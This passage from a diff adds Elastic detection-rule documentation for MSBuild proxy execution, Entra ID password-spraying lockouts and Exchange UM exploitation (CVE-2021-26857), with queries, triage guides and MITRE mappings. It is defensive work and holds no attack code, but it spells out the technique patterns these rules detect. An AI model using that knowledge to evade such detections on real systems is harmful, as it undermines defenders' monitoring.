data exfiltration or communication with known malicious IP addresses. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger MSBuild.exe to start from Explorer or WMI. Monitor these events and verify if they coincide with known software changes. +- Development environments where MSBuild is frequently used might see this behavior as part of normal operations. Identify and document these environments to create exceptions for known development machines. +- Automated scripts or administrative tools that leverage MSBuild for legitimate tasks can cause false positives. Review and whitelist these scripts or tools if they are verified as non-malicious. +- System maintenance tasks initiated by IT personnel might use MSBuild in a manner that appears suspicious. Coordinate with IT to understand routine maintenance activities and exclude them from alerts. +- Security software or monitoring tools that interact with MSBuild for scanning or analysis purposes should be identified and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the MSBuild.exe process if it is confirmed to be executing unauthorized or malicious code. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious payloads or associated files. +- Review and analyze the parent processes (explorer.exe or wmiprvse.exe) to determine if they have been compromised or are executing other suspicious activities. +- Restore the system from a known good backup if any critical system files or applications have been altered or corrupted. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for MSBuild.exe and related processes to detect similar activities in the future, ensuring alerts are configured for rapid response. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "MSBuild.exe" and + process.parent.name : ("explorer.exe", "wmiprvse.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-started-by-an-office-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-started-by-an-office-application.asciidoc new file mode 100644 index 0000000000..7d017eca8d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-started-by-an-office-application.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-21-microsoft-build-engine-started-by-an-office-application]] +=== Microsoft Build Engine Started by an Office Application + +An instance of MSBuild, the Microsoft Build Engine, was started by Excel or Word. This is unusual behavior for the Build Engine and could have been caused by an Excel or Word document executing a malicious script payload. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Build Engine Started by an Office Application* + + +Microsoft Office (MS Office) is a suite of applications designed to help with productivity and completing common tasks on a computer. You can create and edit documents containing text and images, work with data in spreadsheets and databases, and create presentations and posters. As it is some of the most-used software across companies, MS Office is frequently targeted for initial access. It also has a wide variety of capabilities that attackers can take advantage of. + +The Microsoft Build Engine is a platform for building applications. This engine, also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software, and can be abused to proxy execution of code. + +This rule looks for the `Msbuild.exe` utility spawned by MS Office programs. This is generally the result of the execution of malicious documents. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve MS Office documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "MSBuild.exe" and + process.parent.name : ("eqnedt32.exe", + "excel.exe", + "fltldr.exe", + "msaccess.exe", + "mspub.exe", + "outlook.exe", + "powerpnt.exe", + "winword.exe" ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-using-an-alternate-name.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-using-an-alternate-name.asciidoc new file mode 100644 index 0000000000..33628244de --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-build-engine-using-an-alternate-name.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-microsoft-build-engine-using-an-alternate-name]] +=== Microsoft Build Engine Using an Alternate Name + +An instance of MSBuild, the Microsoft Build Engine, was started after being renamed. This is uncommon behavior and may indicate an attempt to run unnoticed or undetected. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Build Engine Using an Alternate Name* + + +The OriginalFileName attribute of a PE (Portable Executable) file is a metadata field that contains the original name of the executable file when compiled or linked. By using this attribute, analysts can identify renamed instances that attackers can use with the intent of evading detections, application allowlists, and other security protections. + +The Microsoft Build Engine is a platform for building applications. This engine, also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software, and can be abused to proxy execution of code. + +This rule checks for renamed instances of MSBuild, which can indicate an attempt of evading detections, application allowlists, and other security protections. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.pe.original_file_name == "MSBuild.exe" and + not process.name : "MSBuild.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc new file mode 100644 index 0000000000..4699e32b76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc @@ -0,0 +1,222 @@ +[[prebuilt-rule-8-19-21-microsoft-entra-id-exccessive-account-lockouts-detected]] +=== Microsoft Entra ID Exccessive Account Lockouts Detected + +Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ +* https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://www.sprocketsecurity.com/blog/exploring-modern-password-spraying +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Entra ID Exccessive Account Lockouts Detected* + + +This rule detects a high number of sign-in failures due to account lockouts (error code `50053`) in Microsoft Entra ID sign-in logs. These lockouts are typically caused by repeated authentication failures, often as a result of brute-force tactics such as password spraying, credential stuffing, or automated guessing. This detection is time-bucketed and aggregates attempts to identify bursts or coordinated campaigns targeting multiple users. + + +*Possible investigation steps* + + +- Review `user_id_list` and `user_principal_name`: Check if targeted users include high-value accounts such as administrators, service principals, or shared inboxes. +- Check `error_codes` and `result_description`: Validate that `50053` (account locked) is the consistent failure type. Messages indicating "malicious IP" activity suggest Microsoft’s backend flagged the source. +- Analyze `ip_list` and `source_orgs`: Identify whether the activity originated from known malicious infrastructure (e.g., VPNs, botnets, or public cloud providers). In the example, traffic originates from `MASSCOM`, which should be validated. +- Inspect `device_detail_browser` and `user_agent`: Clients like `"Python Requests"` indicate scripted automation rather than legitimate login attempts. +- Evaluate `unique_users` vs. `total_attempts`: A high ratio suggests distributed attacks across multiple accounts, characteristic of password spraying. +- Correlate `client_app_display_name` and `incoming_token_type`: PowerShell or unattended sign-in clients may be targeted for automation or legacy auth bypass. +- Review `conditional_access_status` and `risk_state`: If Conditional Access was not applied and risk was not flagged, policy scope or coverage should be reviewed. +- Validate time range (`first_seen`, `last_seen`): Determine whether the attack is a short burst or part of a longer campaign. + + +*False positive analysis* + + +- Misconfigured clients, scripts, or services with outdated credentials may inadvertently cause lockouts. +- Repeated lockouts from known internal IPs or during credential rotation windows could be benign. +- Legacy applications without modern auth support may repeatedly fail and trigger Smart Lockout. +- Specific known user agents (e.g., corporate service accounts). +- Internal IPs or cloud-hosted automation with expected failure behavior. + + +*Response and remediation* + + +- Investigate locked accounts immediately. Confirm if the account was successfully accessed prior to lockout. +- Reset credentials for impacted users and enforce MFA before re-enabling accounts. +- Block malicious IPs or ASN at the firewall, identity provider, or Conditional Access level. +- Audit authentication methods in use, and enforce modern auth (OAuth, SAML) over legacy protocols. +- Strengthen Conditional Access policies to reduce exposure from weak locations, apps, or clients. +- Conduct credential hygiene audits to assess reuse and rotation for targeted accounts. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* + +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower = to_lower(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_incoming_token_type_lower = to_lower(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_app_display_name_lower = to_lower(azure.signinlogs.properties.app_display_name) + +| where data_stream.dataset == "azure.signinlogs" + and event.category == "authentication" + and azure.signinlogs.category in ("NonInteractiveUserSignInLogs", "SignInLogs") + and event.outcome == "failure" + and azure.signinlogs.properties.authentication_requirement == "singleFactorAuthentication" + and azure.signinlogs.properties.status.error_code == 50053 + and azure.signinlogs.properties.user_principal_name is not null + and azure.signinlogs.properties.user_principal_name != "" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-as-BLOCK" + +| stats + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature), + Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type), + + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct = count_distinct(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values = values(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description), + Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_incoming_token_type_lower_values = values(Esql.azure_signinlogs_properties_incoming_token_type_lower), + Esql.azure_signinlogs_properties_app_display_name_lower_values = values(Esql.azure_signinlogs_properties_app_display_name_lower), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.@timestamp.min = min(@timestamp), + Esql.@timestamp.max = max(@timestamp), + Esql.event_count = count() +by Esql.time_window_date_trunc + +| where Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 15 and Esql.event_count >= 20 + +| keep + Esql.time_window_date_trunc, + Esql.event_count, + Esql.@timestamp.min, + Esql.@timestamp.max, + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct, + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values, + Esql.azure_signinlogs_result_description_count_distinct, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_properties_status_error_code_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_incoming_token_type_lower_values, + Esql.azure_signinlogs_properties_app_display_name_lower_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_as_organization_name_count_distinct, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_device_id_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_user_id_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_result_signature_values, + Esql.azure_signinlogs_result_type_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..d6a310ef19 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-microsoft-exchange-server-um-spawning-suspicious-processes]] +=== Microsoft Exchange Server UM Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Microsoft Exchange Server Unified Messaging (UM) service. This activity has been observed exploiting CVE-2021-26857. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Exchange Server UM Spawning Suspicious Processes* + + +Microsoft Exchange Server's Unified Messaging (UM) integrates voice messaging with email, allowing users to access voicemails via their inbox. Adversaries exploit vulnerabilities like CVE-2021-26857 to execute unauthorized processes, potentially leading to system compromise. The detection rule identifies unusual processes initiated by UM services, excluding known legitimate executables, to flag potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process parent name is either "UMService.exe" or "UMWorkerProcess.exe" and verify the process executable path is not among the known legitimate paths listed in the exclusion criteria. +- Gather additional context by checking the process command line arguments and the user account under which the suspicious process was executed to identify any anomalies or unauthorized access. +- Investigate the historical activity of the host by reviewing recent logs for any other unusual or unauthorized processes, especially those related to the Microsoft Exchange Server. +- Check for any recent patches or updates applied to the Microsoft Exchange Server to ensure that vulnerabilities like CVE-2021-26857 have been addressed. +- Correlate the alert with other security tools and data sources such as Microsoft Defender XDR or Sysmon to identify any related suspicious activities or indicators of compromise. +- Assess the network activity from the host to detect any potential lateral movement or data exfiltration attempts that might be associated with the suspicious process. + + +*False positive analysis* + + +- Legitimate UM service updates or patches may trigger the rule. Regularly update the list of known legitimate executables to include new or updated UM service files. +- Custom scripts or monitoring tools that interact with UM services might be flagged. Identify these scripts and add their executables to the exclusion list if they are verified as safe. +- Non-standard installation paths for Exchange Server can cause false positives. Ensure that all legitimate installation paths are included in the exclusion list to prevent unnecessary alerts. +- Administrative tasks performed by IT staff using command-line tools may be misidentified. Document these tasks and consider excluding the associated executables if they are part of routine maintenance. +- Third-party integrations with Exchange Server that spawn processes could be flagged. Verify these integrations and exclude their executables if they are deemed secure and necessary for business operations. + + +*Response and remediation* + + +- Isolate the affected Microsoft Exchange Server from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as being spawned by the UM service that are not part of the known legitimate executables list. +- Apply the latest security patches and updates to the Microsoft Exchange Server to address CVE-2021-26857 and any other known vulnerabilities. +- Conduct a thorough review of the server's security logs and network traffic to identify any additional indicators of compromise or unauthorized access attempts. +- Restore the server from a known good backup taken before the suspicious activity was detected, ensuring that the backup is free from compromise. +- Implement enhanced monitoring and alerting for any future suspicious processes spawned by the UM service, using the detection rule as a baseline. +- Escalate the incident to the organization's security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("UMService.exe", "UMWorkerProcess.exe") and + not process.executable : ( + "?:\\Windows\\System32\\werfault.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\Program Files\\Microsoft\\Exchange Server\\V??\\Bin\\UMWorkerProcess.exe", + "?:\\Program Files\\Microsoft\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "D:\\Exchange 2016\\Bin\\UMWorkerProcess.exe", + "E:\\ExchangeServer\\Bin\\UMWorkerProcess.exe", + "D:\\Exchange\\Bin\\UMWorkerProcess.exe", + "D:\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "E:\\Exchange Server\\V15\\Bin\\UMWorkerProcess.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\werfault.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\wermgr.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft\\Exchange Server\\V??\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange 2016\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\ExchangeServer\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange Server\\Bin\\UMWorkerProcess.exe", + "\\Device\\HarddiskVolume*\\Exchange Server\\V15\\Bin\\UMWorkerProcess.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial 